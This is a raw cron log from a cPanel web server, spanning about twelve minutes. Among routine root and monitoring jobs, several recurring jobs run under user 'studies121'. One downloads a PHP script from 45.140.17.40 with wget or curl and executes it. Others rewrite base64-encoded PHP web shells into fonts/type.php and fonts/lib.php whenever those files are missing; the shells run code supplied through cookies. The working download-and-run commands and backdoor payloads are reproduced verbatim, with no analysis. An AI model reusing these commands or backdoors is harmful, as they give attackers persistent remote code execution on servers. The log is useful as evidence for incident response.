Aug 30 06:28:01 ip-184-168-122-23 CROND[28797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:28:01 ip-184-168-122-23 CROND[28799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:28:01 ip-184-168-122-23 CROND[28800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:28:01 ip-184-168-122-23 CROND[28801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:28:01 ip-184-168-122-23 CROND[28802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:29:01 ip-184-168-122-23 CROND[28891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:29:01 ip-184-168-122-23 CROND[28893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:29:01 ip-184-168-122-23 CROND[28895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:29:01 ip-184-168-122-23 CROND[28896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:30:01 ip-184-168-122-23 CROND[28981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:30:01 ip-184-168-122-23 CROND[28983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:30:01 ip-184-168-122-23 CROND[28984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:30:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:30:01 ip-184-168-122-23 CROND[28988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:30:01 ip-184-168-122-23 CROND[28989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:30:01 ip-184-168-122-23 CROND[28986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:30:01 ip-184-168-122-23 CROND[28990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:31:01 ip-184-168-122-23 CROND[29182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:31:01 ip-184-168-122-23 CROND[29183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:31:01 ip-184-168-122-23 CROND[29185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:31:01 ip-184-168-122-23 CROND[29186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:31:01 ip-184-168-122-23 CROND[29187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:32:01 ip-184-168-122-23 CROND[29281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:32:01 ip-184-168-122-23 CROND[29282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:32:01 ip-184-168-122-23 CROND[29285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:32:01 ip-184-168-122-23 CROND[29284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:32:01 ip-184-168-122-23 CROND[29283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:33:01 ip-184-168-122-23 CROND[29420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:33:01 ip-184-168-122-23 CROND[29419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:33:01 ip-184-168-122-23 CROND[29424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:33:01 ip-184-168-122-23 CROND[29423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:34:01 ip-184-168-122-23 CROND[29746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:34:01 ip-184-168-122-23 CROND[29748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:34:01 ip-184-168-122-23 CROND[29750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:34:01 ip-184-168-122-23 CROND[29749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:34:01 ip-184-168-122-23 CROND[29751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29843]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:35:01 ip-184-168-122-23 CROND[29846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:35:01 ip-184-168-122-23 CROND[29849]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 06:36:01 ip-184-168-122-23 CROND[30126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:36:01 ip-184-168-122-23 CROND[30128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:36:01 ip-184-168-122-23 CROND[30129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:36:01 ip-184-168-122-23 CROND[30130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:36:01 ip-184-168-122-23 CROND[30131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:37:01 ip-184-168-122-23 CROND[30412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:37:01 ip-184-168-122-23 CROND[30413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:37:01 ip-184-168-122-23 CROND[30416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:37:01 ip-184-168-122-23 CROND[30415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:38:01 ip-184-168-122-23 CROND[30488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:38:01 ip-184-168-122-23 CROND[30490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:38:01 ip-184-168-122-23 CROND[30492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:38:01 ip-184-168-122-23 CROND[30493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:38:01 ip-184-168-122-23 CROND[30491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:39:01 ip-184-168-122-23 CROND[30589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:39:01 ip-184-168-122-23 CROND[30590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:39:01 ip-184-168-122-23 CROND[30593]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 06:39:01 ip-184-168-122-23 CROND[30595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:39:01 ip-184-168-122-23 CROND[30594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:40:01 ip-184-168-122-23 CROND[30689]: (root) CMD (/usr/lib64/sa/sa1 1 1)
